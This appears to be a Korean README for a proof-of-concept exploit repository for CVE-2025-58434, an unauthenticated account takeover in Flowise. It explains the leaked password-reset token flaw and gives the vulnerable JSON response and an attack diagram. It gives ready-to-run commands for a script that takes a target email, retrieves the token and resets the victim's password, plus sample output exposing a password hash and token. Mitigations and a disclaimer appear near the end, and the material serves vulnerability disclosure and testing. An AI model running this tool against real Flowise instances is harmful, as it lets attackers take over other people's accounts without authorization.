
유출된 암호 재설정 토큰을 통한 Flowise의 인증되지 않은 계정 탈취를 시연하는 CVE-2025-58434용 개념 증명 익스플로잇입니다. 토큰 유출 및 암호 재설정의 2단계 공격을 포함합니다.
Flowise(클라우드 호스팅 및 자체 호스팅 모두)의 forgot-password 엔드포인트는 유효한 비밀번호 재설정 토큰(tempToken)을 이메일 검증이나 인증 없이 HTTP 응답 본문에 직접 반환합니다.
이로 인해 피해자의 이메일 주소를 알거나 추측할 수 있는 공격자는 다음을 수행할 수 있습니다:
forgot-password 엔드포인트 호출 → JSON 응답에서 tempToken 획득tempToken을 사용하여 reset-password 호출 → 임의의 새 비밀번호 설정사전 접근 권한, 사용자 상호 작용, 이메일 접근 권한이 필요하지 않습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-58434 |
| CVSS 점수 | 9.8 (Critical) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-640: 취약한 비밀번호 복구 메커니즘 |
| 유형 | 인증 우회 / 안전하지 않은 직접 객체 참조 |
| 영향을 받는 앱 | Flowise (클라우드 + 자체 호스팅) |
| 엔드포인트 1 | POST /api/v1/account/forgot-password |
| 엔드포인트 2 | POST /api/v1/account/reset-password |
forgot-password 핸들러는 생성된 tempToken을 포함한 전체 사용자 레코드를 등록된 이메일 주소로만 보내는 대신 API 응답에 직접 반환합니다.
{
"user": {
"id": "<uuid>",
"name": "Victim Name",
"email": "[email protected]",
"credential": "<bcrypt-hash>",
"tempToken": "<LEAKED_TOKEN_HERE>",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Attacker Flowise API
│ │
│ POST /forgot-password {email} │
│──────────────────────────────────────►│
│ │ (generates tempToken)
│◄──────────────────────────────────────│
│ 201 { tempToken: "abc123..." } │
│ │
│ POST /reset-password {email, │
│ tempToken, newPassword} │
│──────────────────────────────────────►│
│ │
│◄──────────────────────────────────────│
│ 200 OK (password changed!) │
│ │
✓ Account Takeover Complete
cloud.flowiseai.com) — 영향 확인됨패치된 릴리스 정보는 공식 Flowise GitHub에서 확인하세요.
CVE-2025-58434/
├── cve_2025_58434_poc.py # Main PoC script (two-stage ATO)
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Legal notice (read before use)
requests 라이브러리# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434
# Install dependencies
pip install -r requirements.txt
python3 cve_2025_58434_poc.py --help
인스턴스가 취약한지 확인하고 비밀번호를 재설정하지 않은 채 tempToken을 검색합니다.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected]
유출된 토큰을 사용하여 즉시 비밀번호를 재설정합니다.
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--reset \
--new-password "MyNewP@ss2025!"
python3 cve_2025_58434_poc.py \
--url https://flowise.example.com \
--email [email protected] \
--json-output
| 플래그 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--url URL | -u | Flowise 인스턴스의 기본 URL | (필수) |
--email EMAIL | -e | 대상 계정 이메일 주소 | (필수) |
--reset | -r | 2단계 수행: 유출된 토큰으로 비밀번호 재설정 | False |
--new-password PASS | -p | 설정할 새 비밀번호 (--reset과 함께 사용) | Changeme@2025! |
--timeout SECONDS | -t | HTTP 요청 시간 초과 | 10 |
--json-output | -j | 원시 JSON API 응답을 stdout으로 출력 | False |
[Step 1] Sending forgot-password request …
[*] HTTP Status : 201
========================================================================
LEAKED ACCOUNT DATA
========================================================================
User ID : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name : Admin User
Email : [email protected]
Credential : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Status : active
tempToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
tokenExpiry : 2025-08-19T13:00:33.834Z
========================================================================
[+] tempToken obtained : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[!] VULNERABLE: The instance leaks password reset tokens unauthenticated!
Flowise 인스턴스 운영자라면 다음 완화 조치를 즉시 적용하세요:
forgot-password에서 일반적인 성공 메시지를 반환하세요. 계정 열거(enumeration)도 방지할 수 있습니다.forgot-password 엔드포인트에 속도 제한(rate limiting)을 추가하세요.| 날짜 | 이벤트 |
|---|---|
| 2025-08-19 | 취약점 발견 및 보고 |
| TBD | 공급업체 확인 |
| TBD | 패치 릴리스 |
| TBD | 공개 공개 |
이 프로젝트는 교육 목적 및 공인된 침투 테스트를 위해서만 제공됩니다.